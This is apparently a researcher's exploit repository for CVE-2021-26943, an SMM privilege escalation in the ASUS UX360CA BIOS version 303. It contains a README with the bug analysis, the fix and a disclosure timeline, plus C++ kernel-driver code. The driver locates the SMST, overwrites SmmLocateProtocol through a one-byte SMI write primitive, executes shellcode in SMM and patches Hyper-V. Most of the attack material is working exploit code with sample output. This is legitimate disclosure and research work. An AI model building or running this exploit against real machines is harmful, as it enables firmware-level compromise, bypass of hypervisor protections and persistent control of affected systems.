0; pageOffset < ScanLength; pageOffset += PAGE_SIZE) 91 | { 92 | NTSTATUS status; 93 | PVOID found; 94 | 95 | status = m_Pm->Read(m_ScanBuffer, ScanBase + pageOffset, PAGE_SIZE); 96 | if (!NT_SUCCESS(status)) 97 | { 98 | // 99 | // Noisy. Try the next segment. 100 | // 101 | //DEMO_ERROR("Read failed : %08x", status); 102 | break; 103 | } 104 | 105 | found = MemMem(m_ScanBuffer, PAGE_SIZE, Pattern, PatternLength, Alignment); 106 | if (found != nullptr) 107 | { 108 | ULONG64 byteOffset; 109 | 110 | byteOffset = reinterpret_cast(found) - reinterpret_cast(m_ScanBuffer); 111 | return ScanBase + pageOffset + byteOffset; 112 | } 113 | } 114 | return 0; 115 | } 116 | 117 | MemoryScanner::~MemoryScanner ( 118 | ) 119 | { 120 | if (m_ScanBuffer != nullptr) 121 | { 122 | ExFreePoolWithTag(m_ScanBuffer, k_PoolTag); 123 | } 124 | } 125 | 126 | static 127 | NTSTATUS 128 | FindSmmCorePrivateData ( 129 | const MemoryScanner& Scanner, 130 | PULONG64 SmmcAddress 131 | ) 132 | { 133 | // 134 | // Parse the registry entry and scan the physical memory ranges indicated by this. 135 | // Kudos to Alex Ionescu (@aionescu) for sharing this trick with me. 136 | // 137 | static UNICODE_STRING key = 138 | RTL_CONSTANT_STRING(L"\\REGISTRY\\MACHINE\\HARDWARE\\RESOURCEMAP\\System Resources\\Loader Reserved"); 139 | static OBJECT_ATTRIBUTES attributes = 140 | RTL_CONSTANT_OBJECT_ATTRIBUTES(&key, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE); 141 | static UNICODE_STRING valueName = RTL_CONSTANT_STRING(L".Raw"); 142 | 143 | NTSTATUS status; 144 | HANDLE keyHandle; 145 | PKEY_VALUE_FULL_INFORMATION buffer; 146 | ULONG resultLength; 147 | CM_RESOURCE_LIST* list; 148 | 149 | *SmmcAddress = 0; 150 | buffer = nullptr; 151 | 152 | status = ZwOpenKey(&keyHandle, KEY_ALL_ACCESS, &attributes); 153 | if (!NT_SUCCESS(status)) 154 | { 155 | DEMO_ERROR("ZwOpenKey failed : %08x", status); 156 | goto Exit; 157 | } 158 | 159 | buffer = static_cast( 160 | ExAllocatePoolWithTag(PagedPool, PAGE_SIZE, k_PoolTag)); 161 | if (buffer == nullptr) 162 | { 163 | DEMO_ERROR("Memory allocation failed : %lu", PAGE_SIZE); 164 | status = STATUS_INSUFFICIENT_RESOURCES; 165 | goto Exit; 166 | } 167 | 168 | status = ZwQueryValueKey(keyHandle, 169 | &valueName, 170 | KeyValueFullInformation, 171 | buffer, 172 | PAGE_SIZE, 173 | &resultLength); 174 | if (!NT_SUCCESS(status)) 175 | { 176 | DEMO_ERROR("ZwQueryValueKey failed : %08x", status); 177 | goto Exit; 178 | } 179 | 180 | list = static_cast(Add2Ptr(buffer, buffer->DataOffset)); 181 | for (ULONG64 i = 0; i < list->Count; ++i) 182 | { 183 | PCM_FULL_RESOURCE_DESCRIPTOR fullDescriptor; 184 | 185 | fullDescriptor = &list->List[i]; 186 | for (ULONG64 j = 0; j < fullDescriptor->PartialResourceList.Count; ++j) 187 | { 188 | PCM_PARTIAL_RESOURCE_DESCRIPTOR partial; 189 | ULONG64 foundAddress; 190 | 191 | partial = &fullDescriptor->PartialResourceList.PartialDescriptors[j]; 192 | if ((partial->Type != CmResourceTypeMemory) || 193 | (partial->Flags != CM_RESOURCE_PORT_MEMORY)) 194 | { 195 | DEMO_ERROR("Unexpected entry"); 196 | continue; 197 | } 198 | 199 | static constexpr ULONG64 smmcSignature = 'cmms'; 200 | foundAddress = Scanner.Scan(partial->u.Memory.Start.QuadPart, 201 | partial->u.Memory.Length, 202 | &smmcSignature, 203 | sizeof(smmcSignature), 204 | sizeof(smmcSignature)); 205 | if (foundAddress != 0) 206 | { 207 | *SmmcAddress = foundAddress; 208 | status = STATUS_SUCCESS; 209 | goto Exit; 210 | } 211 | } 212 | } 213 | 214 | status = STATUS_NOT_FOUND; 215 | 216 | Exit: 217 | if (buffer != nullptr) 218 | { 219 | ExFreePoolWithTag(buffer, k_PoolTag); 220 | } 221 | if (keyHandle != nullptr) 222 | { 223 | ZwClose(keyHandle); 224 | } 225 | return status; 226 | } 227 | 228 | NTSTATUS 229 | FindSystemManagementServiceTable ( 230 | const PhysicalMemory& Pm, 231 | PULONG64 SmstAddress 232 | ) 233 | { 234 | NTSTATUS status; 235 | SMM_CORE_PRIVATE_DATA* smmcAddress; 236 | ULONG64 smstAddress; 237 | MemoryScanner scanner; 238 | 239 | status = scanner.Initialize(Pm); 240 | if (!NT_SUCCESS(status)) 241 | { 242 | DEMO_ERROR("Initialize failed : %08x", status); 243 | goto Exit; 244 | } 245 | 246 | status = FindSmmCorePrivateData(scanner, reinterpret_cast(&smmcAddress)); 247 | if (!NT_SUCCESS(status)) 248 | { 249 | DEMO_ERROR("FindSmmCorePrivateData failed : %08x", status); 250 | goto Exit; 251 | } 252 | DEMO_INFO("SMM core found at 0x%llx in RT Code", smmcAddress); 253 | 254 | status = Pm.Read(&smstAddress, 255 | reinterpret_cast(&smmcAddress->Smst), 256 | sizeof(smstAddress)); 257 | if (!NT_SUCCESS(status)) 258 | { 259 | DEMO_ERROR("Read failed : %08x", status); 260 | goto Exit; 261 | } 262 | 263 | DEMO_INFO("SMST found at 0x%llx in SMRAM", smstAddress); 264 | *SmstAddress = smstAddress; 265 | 266 | Exit: 267 | return status; 268 | } 269 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SmmExploit 2 | 3 | This is a report and an exploit of [CVE-2021-26943](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-26943), the kernel-to-SMM local privilege escalation vulnerability in ASUS UX360CA BIOS version 303. The issue was fixed in the [version 304](https://www.asus.com/supportonly/UX360CA/HelpDesk_BIOS/). 4 | 5 | # Issue Description 6 | 7 | ## Summary 8 | 9 | UX360CA BIOS version 303 has 3 vulnerable modules that allow an attacker with the ring0 privilege to overwrite nearly arbitrary physical memory including SMRAM and execute arbitrary code in SMM. 10 | 11 | Those modules can be identified as follows: 12 | 13 | | Name | GUID | SHA256 | 14 | |---------|--------------------------------------|------------------------------------------------------------------| 15 | | UsbRt | 04EAAAA1-29A1-11D7-8838-00500473D4EB | 8A3DEAFD0A688DD4360A65C98E434180152EB43EB2C913C663F13D5709776781 | 16 | | SdioSmm | EA343100-1A37-4239-A3CB-B92240B935CF | 4578E1E147D846BB925DF881A2A0A3C3F1E6CD2AE033A8B0F769E5EB42783A0A | 17 | | NvmeSmm | E5E2C9D9-5BF5-497E-8860-94F81A09ADE0 | A9C762B13FC9C4156603D674C6DAEBC4369520D95ACB1D0FA976078D6F7F1003 | 18 | 19 | Those modules are from AMI (BIOS vendor) and may present in other OEM's BIOS. 20 | 21 | ## Vulnerabilities 22 | 23 | The vulnerable modules and corresponding SMIs are: UsbRt (0x31), SdioSmm (0x40), and NvmeSmm (0x42). All of those SMI handlers read physical memory address 0x40E to get an address to work on and write one byte to the address in case of error, even if it is SMRAM. 24 | 25 | For example, SdioSmm's SMI handler looks as follows: 26 | ```cpp 27 | EFI_STATUS 28 | EFIAPI 29 | SdioSmm_SwSmi_40h( 30 | EFI_HANDLE DispatchHandle, 31 | CONST VOID *Context, 32 | VOID *CommBuffer, 33 | UINTN *CommBufferSize 34 | ) 35 | { 36 | // ... 37 | struct_v0 *userControlled = *(0x10 * MEMORY[0x40E] + 0x104); 38 | if ( EFI_ERROR(ValidateBufferIsOutsideSmram(userControlled, sizeof(struct_v0))) 39 | || userControlled->Offset0_FunctionCode >= 4 ) 40 | { 41 | userControlled->Offset2 = 7; 42 | } 43 | else 44 | { 45 | // ... 46 | } 47 | return EFI_SUCCESS; 48 | } 49 | ``` 50 | 51 | This issue appears to be identical with INTEL-SA-00057, which is greatly described as [Aptiocalypsis](https://github.com/Cr4sh/Aptiocalypsis). The BIOS version 303 for UX360CA, however, does not include fixes for them. 52 | 53 | ## Exploitation 54 | 55 | This allows an attacker with write access to physical memory and the OUT instruction (ie, the ring0 privileges) to overwrite contents of SMRAM with the following steps: 56 | 1. Make sure physical address 0x40e is zero (which is most likely the case already) 57 | 2. Write an address of SMRAM, say 0x88400000, at physical address 0x104 58 | 3. Issue the SMI 0x40 59 | 4. 0x88400000+2 is updated with 0x7. 60 | 61 | This can be used to achieve arbitrary code execution in SMM as follows: 62 | 1. Find the address of the System Management Service Table (SMST) in SMRAM, with the below steps: 63 | 1. Get a physical address range for UEFI runtime code from the contents of the `.Raw` value in `HKLM\HARDWARE\RESOURCEMAP\System Resources\Loader Reserved` 64 | 2. Find the address of SMM_CORE_PRIVATE_DATA by scanning the 'smmc' signature from the address range. 65 | 3. SMM_CORE_PRIVATE_DATA has the pointer to the SMST at offset 30h 66 | 2. Overwrite the pointer to the SmmLocateProtocol function at offset d0h of the SMST using the above write primitive. The value is updated to 0x07070707. 67 | 3. Write shellcode at physical memory 0x07070707 68 | 4. Trigger another SMI that calls the Smst->SmmLocateProtocol, such as SMI 0xdf. The shellcode at 0x07070707 is executed in SMM. 69 | 70 | Arbitrary code execution in SMM would let an attacker bypass security measures by kernel and hypervisor such as HVCI as demonstrated in [another SMM vulnerability report](https://dannyodler.medium.com/attacking-the-golden-ring-on-amd-mini-pc-b7bfb217b437) and establish persistence by updating contents of the SPI flash (BIOS). 71 | 72 | ## Proof of Concept (PoC) 73 | 74 | The attached demo project demonstrates successful exploitation and dumps contents of MSRs that are only accessible in SMM and the physical address of the EPTP. It also modifies Hyper-V hypervisor's CPUID VM-exit handling code to return an altered hypervisor vendor string. 75 | 76 | The PoC is tested on Windows build 18362.1256, with and without HVCI enabled. 77 | 78 | Recoding of successful exploitation can be found at [YouTube](https://youtu.be/jZWzBF8LKzM). 79 | ![Demo.png](Demo.png) 80 | 81 | ### Test Instructions 82 | 83 | 1. Open the demo.sln in Visual Studio 2019 84 | 2. Build the solution for Debug or Release build 85 | 3. Copy the compiled demo.sys into the target system (say, C:\users\user\desktop\demo.sys) 86 | 87 | On the target system, 88 | 1. Disable secure boot from BIOS, and reboot 89 | 2. Enable the test signing mode, and reboot 90 | ``` 91 | > bcdedit /set testsigning on 92 | ``` 93 | 3. Create the service to load the demo.sys 94 | ``` 95 | > sc create demo type= kernel binPath= C:\users\user\desktop\demo.sys 96 | ``` 97 | 4. Start [DebugView](https://docs.microsoft.com/en-us/sysinternals/downloads/debugview) and enable "Capture Kernel" from the "Capture" menu. 98 | 5. Start the demo 99 | ``` 100 | > sc start demo 101 | ``` 102 | 6. If successful, DebugView will show values of SMM related MSRs. 103 | ``` 104 | [+] ReportSmramRange: TSEG implied SMRAM: 0x88400000 - 0x88800000 105 | [-] ReportSmramRange: Exception occurred while accessing SMRR MSR : c0000096 106 | [+] FindSystemManagementServiceTable: SMM core found at 0x87f1b390 in RT Code 107 | [+] FindSystemManagementServiceTable: SMST found at 0x887fa710 in SMRAM 108 | [+] ExploitSmm: Patched SMST->SmmLocateProtocol in SMRAM 109 | [+] ExploitSmm: Placed SMM shell code 110 | [+] ExploitSmm: Triggered SMM exploit 111 | [+] DumpSmmExploitOuput: IA32_SMBASE = 0x887cd000 112 | [+] DumpSmmExploitOuput: MSR_SMM_FEATURE_CONTROL = 0x1 113 | [+] DumpSmmExploitOuput: MSR_SMM_MCA_CAP = 0xc00000000000000 114 | [+] DumpSmmExploitOuput: EPT pointer = 0x10a72001e 115 | [+] DumpSmmExploitOuput: Patched Hv address = 0x1004382f0 116 | [+] ExploitSmm: Successfully executed shell code in SMM. Failing DriverEntry to unload itself 117 | DriverEntry failed 0xc0000120 for driver \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\demo 118 | ``` 119 | 7. If Hyper-V is running and code modification was successful, CPUID 0x4000000 will return the modified hypervisor vendor string `Hv Tampered!`. 120 | ``` 121 | > CheckHvVendor.exe 122 | Executing CPUID(0x40000000) on CPU 0 123 | Result: Hv Tampered! 124 | Executing CPUID(0x40000000) on CPU 1 125 | Result: Hv Tampered! 126 | Executing CPUID(0x40000000) on CPU 2 127 | Result: Hv Tampered! 128 | Executing CPUID(0x40000000) on CPU 3 129 | Result: Hv Tampered! 130 | ``` 131 | 132 | # Resolution 133 | 134 | The fix is to avoid using the user-controlled contents at all when it points inside SMRAM, as shown below. 135 | 136 | ```cpp 137 | { 138 | // ... 139 | struct_v0 *userControlled = *(0x10 * MEMORY[0x40E] + 0x104); 140 | if (!EFI_ERROR(ValidateBufferIsOutsideSmram(userControlled, sizeof(struct_v0)))) 141 | { 142 | if (userControlled->Offset0_FunctionCode < 7 ) 143 | { 144 | // ... 145 | } 146 | else 147 | { 148 | userControlled->Offset2 = 7; 149 | } 150 | } 151 | return EFI_SUCCESS; 152 | } 153 | ``` 154 | 155 | ## Considerations 156 | 157 | ### Missing protection for hypervisor 158 | 159 | The fix perfectly follows the current industry best practice and prevents the confused deputy attack that leads to SMRAM corruption. 160 | 161 | Notice that it does not take account of hypervisor memory regions, however. An attacker with knowledge of the physical memory address where the hypervisor is loaded or uses could still request the SMI to overwrite hypervisor code or data and achieve the hypervisor corruption. 162 | 163 | This is a prevalent, long-existed, and even design-level issue. 164 | 165 | ### Lack of defense-in-depth 166 | 167 | The reported issues were resolved, but there were some problems in terms of exercising the defense-in-depth strategy. 168 | 169 | For example, the SMM page table is identity-mapping with full readable, writable, and executable permissions, and the `SMM_Code_Chk_En` feature was unavailable. Those made exploitation trivial. I also notice SMM communication buffer is not verified with `SmmIsBufferOutsideSmmValid()` [as found in EDK2](https://github.com/tianocore/edk2/blob/stable/202011/MdeModulePkg/Core/PiSmmCore/PiSmmCore.c#L701), although I did not find an exploitable SMI. 170 | 171 | I believe those are common issues across OEMs and many BIOS versions. I call out that if you are on old models from any OEMs, that BIOS is unlikely as secure as you might wish even with their latest BIOS versions. 172 | 173 | ### Improvements 174 | 175 | Those problems will not go away anytime very soon, but I am excited to see that the industry is working on an architectural resolution by reducing the SMM privileges. Here is some of those work and articles you can check out: 176 | - Platform Runtime Mechanism (PRM) 177 | - [Presentation (Open-Source Firmware Conference 2020)](https://cfp.osfc.io/osfc2020/talk/MCJASB/) 178 | - [Specification (uefi.org)](https://uefi.org/sites/default/files/resources/Platform%20Runtime%20Mechanism%20-%20with%20legal%20notice.pdf) 179 | - [Implementation (edk2-staging)](https://github.com/tianocore/edk2-staging/tree/PlatformRuntimeMechanism) 180 | - [System Management Mode deep dive: How SMM isolation hardens the platform]( 181 | https://www.microsoft.com/security/blog/2020/11/12/system-management-mode-deep-dive-how-smm-isolation-hardens-the-platform/) 182 | - [System requirements for System Guard](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-system-guard/system-guard-secure-launch-and-smm-protection#system-requirements-for-system-guard) 183 | 184 | ## Timeline 185 | 186 | Here is some highlights. 187 | - 2020-12-31 - I reported the vulnerability 188 | - 2021-01-05 - ASUS acknowledged the report 189 | - 2021-01-18 - ASUS sent me the fixed version of BIOS for testing 190 | - 2021-01-20 - I confirmed the fix and replied back 191 | - 2021-01-25 - ASUS acknowledged my reply 192 | - 2021-03-21 - ASUS publicized the fix, [version 304](https://www.asus.com/supportonly/UX360CA/HelpDesk_BIOS/) 193 | - 2021-03-29 - ASUS issued an [advisory entry](https://www.asus.com/content/ASUS-Product-Security-Advisory/) for CVE-2021-26943 194 | 195 | Finally, big thanks to the ASUS teams for keeping the communication loop close and transparent❤ The overall process was not fast but rather frustration-free. 196 | -------------------------------------------------------------------------------- /Demo/Demo/Demo.cpp: -------------------------------------------------------------------------------- 1 | #include "Demo.hpp" 2 | #include "PhysicalMemory.hpp" 3 | #include "SmmShellCode.hpp" 4 | 5 | #if !defined(POOL_ZERO_DOWN_LEVEL_SUPPORT) || !defined(POOL_NX_OPTIN) 6 | #error POOL_ZERO_DOWN_LEVEL_SUPPORT and/or POOL_NX_OPTIN undefined. 7 | #endif 8 | 9 | EXTERN_C DRIVER_INITIALIZE DriverEntry; 10 | 11 | NTSTATUS 12 | FindSystemManagementServiceTable ( 13 | const PhysicalMemory& Pm, 14 | PULONG64 SmstAddress 15 | ); 16 | 17 | static 18 | NTSTATUS 19 | SetSmmWriteDestination ( 20 | const PhysicalMemory& Pm, 21 | ULONG64 AddressToWrite 22 | ) 23 | { 24 | AddressToWrite -= 2; 25 | return Pm.Write(0x104, &AddressToWrite, sizeof(AddressToWrite)); 26 | } 27 | 28 | static 29 | void 30 | ExecuteWrite07WithSmm ( 31 | ) 32 | { 33 | __outbyte(0xb2, 0x40); // SdioSmm 34 | } 35 | 36 | static 37 | NTSTATUS 38 | Write07070707WithSmm ( 39 | const PhysicalMemory& Pm, 40 | ULONG64 AddressToWrite 41 | ) 42 | { 43 | NTSTATUS status; 44 | 45 | for (ULONG64 offset = 0; offset < 4; ++offset) 46 | { 47 | status = SetSmmWriteDestination(Pm, AddressToWrite + offset); 48 | if (!NT_SUCCESS(status)) 49 | { 50 | DEMO_ERROR("SetSmmWriteDestination failed : %08x", status); 51 | goto Exit; 52 | } 53 | ExecuteWrite07WithSmm(); 54 | } 55 | 56 | Exit: 57 | return status; 58 | } 59 | 60 | static 61 | NTSTATUS 62 | PatchSmstSmmLocateProtocolAddress ( 63 | const PhysicalMemory& Pm 64 | ) 65 | { 66 | NTSTATUS status; 67 | EFI_SMM_SYSTEM_TABLE2* smst; 68 | 69 | // 70 | // Find the address of SMST 71 | // 72 | status = FindSystemManagementServiceTable(Pm, reinterpret_cast(&smst)); 73 | if (!NT_SUCCESS(status)) 74 | { 75 | DEMO_ERROR("FindSystemManagementServiceTable failed : %08x", status); 76 | goto Exit; 77 | } 78 | 79 | // 80 | // Patch contents of SMST->SmmLocateProtocol to 0x07070707 81 | // 82 | status = Write07070707WithSmm(Pm, reinterpret_cast(&smst->SmmLocateProtocol)); 83 | if (!NT_SUCCESS(status)) 84 | { 85 | DEMO_ERROR("Write07070707WithSmm failed : %08x", status); 86 | goto Exit; 87 | } 88 | 89 | Exit: 90 | return status; 91 | } 92 | 93 | static 94 | NTSTATUS 95 | ExecuteShellCode ( 96 | ) 97 | { 98 | KAFFINITY previousAffinity; 99 | 100 | // 101 | // Execute shellcode by triggering SMI for OA3_SMM, which unconditionally 102 | // calls SmmLocateProtocol. 103 | // 104 | // On a multi-core system, it is important to trigger this SMI from BSP (CPU#0) 105 | // to ensure the shellcode can collect the EPT pointer. Otherwise, this SMI may 106 | // be executed on an AP, and the shellcode will be executed on the BSP which 107 | // may be VMX root-operation where the EPT pointer is not stored in the state 108 | // save area. 109 | // 110 | previousAffinity = KeSetSystemAffinityThreadEx(static_cast(1)); 111 | __outbyte(0xb2, 0xdf); 112 | KeRevertToUserAffinityThreadEx(previousAffinity); 113 | return STATUS_SUCCESS; 114 | } 115 | 116 | static 117 | NTSTATUS 118 | DumpSmmExploitOutput ( 119 | const PhysicalMemory& Pm 120 | ) 121 | { 122 | NTSTATUS status; 123 | HOOKED_SMM_LOCATE_PROTOCOL_PARAMETER_BLOCK block; 124 | 125 | status = Pm.Read(&block, 0, sizeof(block)); 126 | if (!NT_SUCCESS(status)) 127 | { 128 | DEMO_ERROR("Read failed : %08x", status); 129 | goto Exit; 130 | } 131 | 132 | if (block.Smbase == 0) 133 | { 134 | DEMO_ERROR("Shell code did not run??"); 135 | status = STATUS_UNSUCCESSFUL; 136 | goto Exit; 137 | } 138 | 139 | DEMO_INFO("IA32_SMBASE = 0x%llx", block.Smbase); 140 | DEMO_INFO("MSR_SMM_FEATURE_CONTROL = 0x%llx", block.SmmFeatureControl); 141 | DEMO_INFO("MSR_SMM_MCA_CAP = 0x%llx", block.SmmMcaCap); 142 | if (block.Eptp == 0) 143 | { 144 | DEMO_INFO("EPT pointer = Not available"); 145 | DEMO_INFO("Patched Hv address = Not available"); 146 | } 147 | else 148 | { 149 | DEMO_INFO("EPT pointer = 0x%llx", block.Eptp); 150 | DEMO_INFO("Patched Hv address = 0x%llx", block.HvPatchedAddress); 151 | } 152 | 153 | Exit: 154 | return status; 155 | } 156 | 157 | static 158 | NTSTATUS 159 | ExploitSmm ( 160 | const PhysicalMemory& Pm 161 | ) 162 | { 163 | NTSTATUS status; 164 | SmmShellCode shellcode; 165 | 166 | // 167 | // (1) Find the address of the System Management Service Table (SMST) in SMRAM 168 | // (2) Overwrite the pointer to the SmmLocateProtocol function 169 | // 170 | status = PatchSmstSmmLocateProtocolAddress(Pm); 171 | if (!NT_SUCCESS(status)) 172 | { 173 | DEMO_ERROR("PatchSmstSmmLocateProtocolAddress failed : %08x", status); 174 | goto Exit; 175 | } 176 | DEMO_INFO("Patched SMST->SmmLocateProtocol in SMRAM"); 177 | 178 | // 179 | // (3) Write shellcode at physical memory 0x07070707 180 | // 181 | status = shellcode.Install(Pm); 182 | if (!NT_SUCCESS(status)) 183 | { 184 | DEMO_ERROR("SmmShellCode::Install failed : %08x", status); 185 | goto Exit; 186 | } 187 | DEMO_INFO("Placed SMM shell code"); 188 | 189 | // 190 | // (4) Trigger another SMI that calls the Smst->SmmLocateProtocol 191 | // 192 | status = ExecuteShellCode(); 193 | if (!NT_SUCCESS(status)) 194 | { 195 | DEMO_ERROR("ExecuteShellCode failed : %08x", status); 196 | goto Exit; 197 | } 198 | DEMO_INFO("Triggered SMM exploit"); 199 | 200 | // 201 | // Display results of shellcode 202 | // 203 | status = DumpSmmExploitOutput(Pm); 204 | if (!NT_SUCCESS(status)) 205 | { 206 | DEMO_ERROR("DumpSmmExploitOutput failed : %08x", status); 207 | goto Exit; 208 | } 209 | 210 | DEMO_INFO("Successfully executed shell code in SMM. Failing DriverEntry to unload itself"); 211 | 212 | Exit: 213 | return status; 214 | } 215 | 216 | static 217 | ULONG64 218 | GetPciConfigAddress ( 219 | ULONG64 PciConfigBase, 220 | ULONG64 Bus, 221 | ULONG64 Device, 222 | ULONG64 Function 223 | ) 224 | { 225 | NT_ASSERT((Bus <= 0xff) && (Device <= 0x1f) && (Function <= 0x7)); 226 | return PciConfigBase + (Bus << 20) + (Device << 15) + (Function << 12); 227 | } 228 | 229 | static 230 | void 231 | ReportSmramRange ( 232 | const PhysicalMemory& Pm 233 | ) 234 | { 235 | NTSTATUS status; 236 | UCHAR mcfgTable[60]; 237 | ULONG64 pciConfigBaseAddr; 238 | ULONG64 hostBridgeConfigBaseAddr; 239 | ULONG32 bgsm; 240 | ULONG32 tsegmb; 241 | ULONG32 smramBase; 242 | ULONG32 smramSize; 243 | 244 | // 245 | // Get the "MCFG" ACPI table as defined in the "PCI Firmware Specification". 246 | // 247 | status = ExGetSystemFirmwareTable('ACPI', 'GFCM', mcfgTable, sizeof(mcfgTable), nullptr); 248 | if (!NT_SUCCESS(status)) 249 | { 250 | DEMO_ERROR("ExGetSystemFirmwareTable failed : %08x", status); 251 | goto Exit; 252 | } 253 | 254 | // 255 | // Need those two values in the host bridge controller at B0:D0:F0. 256 | // - 3.35 Base of GTT stolen Memory (BGSM) - Offset B4h 257 | // - 3.36 TSEG Memory Base (TSEGMB) - Offset B8h 258 | // First, compute the address of PCI config space via the MCFG table, then 259 | // read them. 260 | // 261 | pciConfigBaseAddr = *reinterpret_cast(mcfgTable + 0x2c); 262 | hostBridgeConfigBaseAddr = GetPciConfigAddress(pciConfigBaseAddr, 0, 0, 0); 263 | 264 | status = Pm.Read(&bgsm, hostBridgeConfigBaseAddr + 0xb4, sizeof(bgsm)); 265 | if (!NT_SUCCESS(status)) 266 | { 267 | DEMO_ERROR("Read failed : %08x", status); 268 | goto Exit; 269 | } 270 | status = Pm.Read(&tsegmb, hostBridgeConfigBaseAddr + 0xb8, sizeof(tsegmb)); 271 | if (!NT_SUCCESS(status)) 272 | { 273 | DEMO_ERROR("Read failed : %08x", status); 274 | goto Exit; 275 | } 276 | 277 | // 278 | // "When the extended SMRAM space is enabled, processor accesses to the TSEG range 279 | // without SMM attribute or without WB attribute are handled by the processor as invalid 280 | // accesses. 281 | // Non-processor originated accesses are not allowed to SMM space. PCI-Express, DMI, 282 | // and Internal Graphics originated cycles to enabled SMM space are handled as invalid 283 | // cycle type with reads and writes to location C_0000h and byte enables turned off for 284 | // writes." 285 | // 286 | // 2.5.3 TSEG 287 | // 288 | smramBase = (tsegmb & 0xfff00000); 289 | smramSize = ((bgsm & 0xfff00000) - (tsegmb & 0xfff00000)); 290 | DEMO_INFO("TSEG implied SMRAM: 0x%lx - 0x%lx", smramBase, smramBase + smramSize); 291 | 292 | // 293 | // Attempt to read SMRR MSRs and compute SMRAM range from them. 294 | // 295 | __try 296 | { 297 | ULONG64 smrrBase; 298 | ULONG64 smrrMask; 299 | 300 | smrrBase = __readmsr(0x1f2); 301 | smrrMask = __readmsr(0x1f3); 302 | 303 | smramBase = (smrrBase & (smrrMask & 0xfffff000)); 304 | smramSize = (~(smrrMask & 0xfffff000) + 1); 305 | DEMO_INFO("SMRR implied SMRAM: 0x%lx - 0x%lx ", smramBase, smramBase + smramSize); 306 | } 307 | __except (EXCEPTION_EXECUTE_HANDLER) 308 | { 309 | DEMO_ERROR("Exception occurred while accessing SMRR MSR : %08x", GetExceptionCode()); 310 | } 311 | 312 | Exit: 313 | return; 314 | } 315 | 316 | EXTERN_C 317 | NTSTATUS 318 | DriverEntry ( 319 | PDRIVER_OBJECT DriverObject, 320 | PUNICODE_STRING RegistryPath 321 | ) 322 | { 323 | NTSTATUS status; 324 | PhysicalMemory pm; 325 | 326 | UNREFERENCED_PARAMETER(DriverObject); 327 | UNREFERENCED_PARAMETER(RegistryPath); 328 | 329 | // 330 | // Break into the debugger only if attached, with a Debug build. 331 | // 332 | if (KdDebuggerNotPresent == FALSE) 333 | { 334 | KdBreakPoint(); 335 | } 336 | 337 | ExInitializeDriverRuntime(DrvRtPoolNxOptIn); 338 | 339 | // 340 | // Initialize the interface to access physical memory. 341 | // 342 | status = pm.Initialize(); 343 | if (!NT_SUCCESS(status)) 344 | { 345 | DEMO_ERROR("PhysicalMemory::Initialize failed : %08x", status); 346 | goto Exit; 347 | } 348 | 349 | ReportSmramRange(pm); 350 | 351 | // 352 | // Exploit the vulnerability. 353 | // 354 | status = ExploitSmm(pm); 355 | if (!NT_SUCCESS(status)) 356 | { 357 | DEMO_ERROR("ExploitSmm failed : %08x", status); 358 | goto Exit; 359 | } 360 | 361 | status = STATUS_CANCELLED; 362 | 363 | Exit: 364 | return status; 365 | } 366 | --------------------------------------------------------------------------------